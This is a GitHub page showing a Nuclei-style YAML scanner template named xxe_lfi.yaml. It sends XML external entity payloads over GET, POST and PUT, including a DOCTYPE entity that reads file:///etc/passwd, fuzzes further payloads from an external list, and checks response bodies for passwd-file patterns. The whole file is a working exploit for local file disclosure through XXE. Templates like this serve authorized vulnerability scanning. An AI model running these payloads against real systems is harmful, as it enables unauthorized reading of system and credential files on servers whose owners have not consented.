-
Notifications
You must be signed in to change notification settings - Fork 18
/
xxe_lfi.yaml
56 lines (47 loc) · 1.08 KB
/
xxe_lfi.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
id: XXE-LFI
info:
name: XXE
author: MRiambatman
severity: critical
requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
- |
GET / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<!DOCTYPE root [
<!ENTITY stuff SYSTEM ".">
]><root>&stuff;</root>
- |
GET / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
§header§
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
§header§
- |
PUT / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
§header§
payloads:
header: helpers/payloads/xxe.txt
attack: clusterbomb
redirects: true
matchers:
- type: regex
regex:
- 'root:.*:0:0'
- 'boot loader'
- '16 bit'
part: body